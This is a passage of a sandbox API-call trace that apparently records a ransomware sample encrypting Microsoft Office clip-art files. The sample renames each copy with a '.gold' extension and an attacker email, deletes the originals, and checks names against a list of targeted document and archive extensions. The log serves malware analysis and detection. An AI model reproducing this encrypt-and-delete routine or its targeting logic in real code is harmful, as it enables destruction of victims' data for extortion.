[0106.228] SetEndOfFile (hFile=0x19c) returned 1 [0106.228] CloseHandle (hObject=0x19c) returned 1 [0106.228] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0106.228] SetEndOfFile (hFile=0x38c) returned 1 [0106.814] CloseHandle (hObject=0x38c) returned 1 [0106.814] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0106.963] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107090.wmf")) returned 1 [0107.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF") returned 63 [0107.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF") returned 63 [0107.021] lstrlenW (lpString=".doc") returned 4 [0107.021] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0107.021] lstrlenW (lpString=".docx") returned 5 [0107.021] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0107.021] lstrlenW (lpString=".pdf") returned 4 [0107.021] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0107.021] lstrlenW (lpString=".xls") returned 4 [0107.021] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0107.021] lstrlenW (lpString=".xlsx") returned 5 [0107.021] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0107.021] lstrlenW (lpString=".ppt") returned 4 [0107.021] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0107.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF") returned 63 [0107.021] lstrlenW (lpString=".zip") returned 4 [0107.021] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0107.021] lstrlenW (lpString=".rar") returned 4 [0107.021] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0107.021] lstrlenW (lpString=".bz2") returned 4 [0107.021] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0107.021] lstrlenW (lpString=".7z") returned 3 [0107.021] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0107.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF") returned 63 [0107.021] lstrlenW (lpString=".dbf") returned 4 [0107.021] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0107.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF") returned 63 [0107.021] lstrlenW (lpString=".1cd") returned 4 [0107.021] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0107.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF") returned 63 [0107.021] lstrlenW (lpString=".jpg") returned 4 [0107.021] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0107.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF") returned 63 [0107.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF") returned 63 [0107.021] lstrlenW (lpString=".doc") returned 4 [0107.021] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0107.021] lstrlenW (lpString=".docx") returned 5 [0107.021] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0107.021] lstrlenW (lpString=".pdf") returned 4 [0107.021] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0107.021] lstrlenW (lpString=".xls") returned 4 [0107.021] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0107.021] lstrlenW (lpString=".xlsx") returned 5 [0107.021] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0107.021] lstrlenW (lpString=".ppt") returned 4 [0107.021] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0107.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF") returned 63 [0107.022] lstrlenW (lpString=".zip") returned 4 [0107.022] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0107.022] lstrlenW (lpString=".rar") returned 4 [0107.022] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0107.022] lstrlenW (lpString=".bz2") returned 4 [0107.022] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0107.022] lstrlenW (lpString=".7z") returned 3 [0107.022] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0107.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF") returned 63 [0107.022] lstrlenW (lpString=".dbf") returned 4 [0107.022] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0107.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF") returned 63 [0107.022] lstrlenW (lpString=".1cd") returned 4 [0107.022] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0107.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF") returned 63 [0107.022] lstrlenW (lpString=".jpg") returned 4 [0107.022] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0107.022] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0107.022] lstrlenW (lpString="J0107182.WMF") returned 12 [0107.022] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107182.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0107.070] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=16100) returned 1 [0107.070] CloseHandle (hObject=0x38c) returned 1 [0107.070] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107182.wmf")) returned 0x20 [0107.070] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107182.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0107.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107182.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0107.070] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.070] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107182.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0107.071] GetLastError () returned 0x0 [0107.071] ReadFile (in: hFile=0x38c, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x3ee4, lpOverlapped=0x0) returned 1 [0107.296] WriteFile (in: hFile=0x188, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x3ef0, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x3ef0, lpOverlapped=0x0) returned 1 [0107.297] ReadFile (in: hFile=0x38c, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0107.297] WriteFile (in: hFile=0x188, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0107.297] SetEndOfFile (hFile=0x188) returned 1 [0107.297] CloseHandle (hObject=0x188) returned 1 [0107.297] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.297] SetEndOfFile (hFile=0x38c) returned 1 [0107.299] CloseHandle (hObject=0x38c) returned 1 [0107.299] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0107.377] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107182.wmf")) returned 1 [0107.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF") returned 63 [0107.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF") returned 63 [0107.378] lstrlenW (lpString=".doc") returned 4 [0107.378] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0107.378] lstrlenW (lpString=".docx") returned 5 [0107.378] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0107.378] lstrlenW (lpString=".pdf") returned 4 [0107.378] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0107.378] lstrlenW (lpString=".xls") returned 4 [0107.378] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0107.378] lstrlenW (lpString=".xlsx") returned 5 [0107.378] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0107.378] lstrlenW (lpString=".ppt") returned 4 [0107.378] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0107.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF") returned 63 [0107.378] lstrlenW (lpString=".zip") returned 4 [0107.378] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0107.378] lstrlenW (lpString=".rar") returned 4 [0107.378] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0107.378] lstrlenW (lpString=".bz2") returned 4 [0107.379] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0107.379] lstrlenW (lpString=".7z") returned 3 [0107.379] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0107.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF") returned 63 [0107.379] lstrlenW (lpString=".dbf") returned 4 [0107.379] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0107.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF") returned 63 [0107.379] lstrlenW (lpString=".1cd") returned 4 [0107.379] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0107.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF") returned 63 [0107.379] lstrlenW (lpString=".jpg") returned 4 [0107.379] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0107.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF") returned 63 [0107.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF") returned 63 [0107.379] lstrlenW (lpString=".doc") returned 4 [0107.379] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0107.379] lstrlenW (lpString=".docx") returned 5 [0107.379] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0107.379] lstrlenW (lpString=".pdf") returned 4 [0107.379] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0107.379] lstrlenW (lpString=".xls") returned 4 [0107.379] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0107.379] lstrlenW (lpString=".xlsx") returned 5 [0107.379] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0107.379] lstrlenW (lpString=".ppt") returned 4 [0107.379] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0107.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF") returned 63 [0107.379] lstrlenW (lpString=".zip") returned 4 [0107.379] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0107.379] lstrlenW (lpString=".rar") returned 4 [0107.379] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0107.379] lstrlenW (lpString=".bz2") returned 4 [0107.379] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0107.379] lstrlenW (lpString=".7z") returned 3 [0107.379] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0107.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF") returned 63 [0107.379] lstrlenW (lpString=".dbf") returned 4 [0107.379] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0107.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF") returned 63 [0107.379] lstrlenW (lpString=".1cd") returned 4 [0107.379] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0107.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF") returned 63 [0107.379] lstrlenW (lpString=".jpg") returned 4 [0107.379] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0107.379] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0107.379] lstrlenW (lpString="J0107264.WMF") returned 12 [0107.379] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107264.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0107.405] GetFileSizeEx (in: hFile=0x230, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=5272) returned 1 [0107.405] CloseHandle (hObject=0x230) returned 1 [0107.405] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107264.wmf")) returned 0x20 [0107.467] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107264.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0107.467] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107264.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0107.468] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.468] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.468] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107264.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0107.468] GetLastError () returned 0x0 [0107.468] ReadFile (in: hFile=0x188, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x1498, lpOverlapped=0x0) returned 1 [0107.483] WriteFile (in: hFile=0x3b8, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x14a0, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x14a0, lpOverlapped=0x0) returned 1 [0107.484] ReadFile (in: hFile=0x188, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0107.484] WriteFile (in: hFile=0x3b8, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0107.484] SetEndOfFile (hFile=0x3b8) returned 1 [0107.484] CloseHandle (hObject=0x3b8) returned 1 [0107.484] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.484] SetEndOfFile (hFile=0x188) returned 1 [0107.486] CloseHandle (hObject=0x188) returned 1 [0107.486] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0107.486] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107264.wmf")) returned 1 [0107.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF") returned 63 [0107.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF") returned 63 [0107.487] lstrlenW (lpString=".doc") returned 4 [0107.487] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0107.487] lstrlenW (lpString=".docx") returned 5 [0107.487] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0107.487] lstrlenW (lpString=".pdf") returned 4 [0107.487] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0107.487] lstrlenW (lpString=".xls") returned 4 [0107.487] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0107.487] lstrlenW (lpString=".xlsx") returned 5 [0107.487] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0107.487] lstrlenW (lpString=".ppt") returned 4 [0107.487] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0107.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF") returned 63 [0107.487] lstrlenW (lpString=".zip") returned 4 [0107.487] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0107.487] lstrlenW (lpString=".rar") returned 4 [0107.487] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0107.487] lstrlenW (lpString=".bz2") returned 4 [0107.487] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0107.487] lstrlenW (lpString=".7z") returned 3 [0107.487] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0107.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF") returned 63 [0107.487] lstrlenW (lpString=".dbf") returned 4 [0107.487] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0107.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF") returned 63 [0107.487] lstrlenW (lpString=".1cd") returned 4 [0107.487] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0107.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF") returned 63 [0107.487] lstrlenW (lpString=".jpg") returned 4 [0107.487] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0107.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF") returned 63 [0107.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF") returned 63 [0107.487] lstrlenW (lpString=".doc") returned 4 [0107.487] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0107.487] lstrlenW (lpString=".docx") returned 5 [0107.487] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0107.487] lstrlenW (lpString=".pdf") returned 4 [0107.487] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0107.487] lstrlenW (lpString=".xls") returned 4 [0107.487] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0107.487] lstrlenW (lpString=".xlsx") returned 5 [0107.487] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0107.487] lstrlenW (lpString=".ppt") returned 4 [0107.487] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0107.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF") returned 63 [0107.487] lstrlenW (lpString=".zip") returned 4 [0107.487] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0107.487] lstrlenW (lpString=".rar") returned 4 [0107.487] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0107.487] lstrlenW (lpString=".bz2") returned 4 [0107.487] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0107.488] lstrlenW (lpString=".7z") returned 3 [0107.488] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0107.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF") returned 63 [0107.488] lstrlenW (lpString=".dbf") returned 4 [0107.488] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0107.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF") returned 63 [0107.488] lstrlenW (lpString=".1cd") returned 4 [0107.488] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0107.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF") returned 63 [0107.488] lstrlenW (lpString=".jpg") returned 4 [0107.488] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0107.488] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0107.488] lstrlenW (lpString="J0107308.WMF") returned 12 [0107.488] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107308.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0107.501] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=15888) returned 1 [0107.501] CloseHandle (hObject=0x3a8) returned 1 [0107.501] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107308.wmf")) returned 0x20 [0107.506] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107308.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0107.507] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107308.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0107.507] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.507] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.507] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107308.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0107.507] GetLastError () returned 0x0 [0107.507] ReadFile (in: hFile=0x3cc, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x3e10, lpOverlapped=0x0) returned 1 [0107.509] WriteFile (in: hFile=0x3b0, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x3e20, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x3e20, lpOverlapped=0x0) returned 1 [0107.510] ReadFile (in: hFile=0x3cc, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0107.510] WriteFile (in: hFile=0x3b0, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0107.510] SetEndOfFile (hFile=0x3b0) returned 1 [0107.510] CloseHandle (hObject=0x3b0) returned 1 [0107.510] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.510] SetEndOfFile (hFile=0x3cc) returned 1 [0107.512] CloseHandle (hObject=0x3cc) returned 1 [0107.512] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0107.512] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107308.wmf")) returned 1 [0107.512] lstrlenW 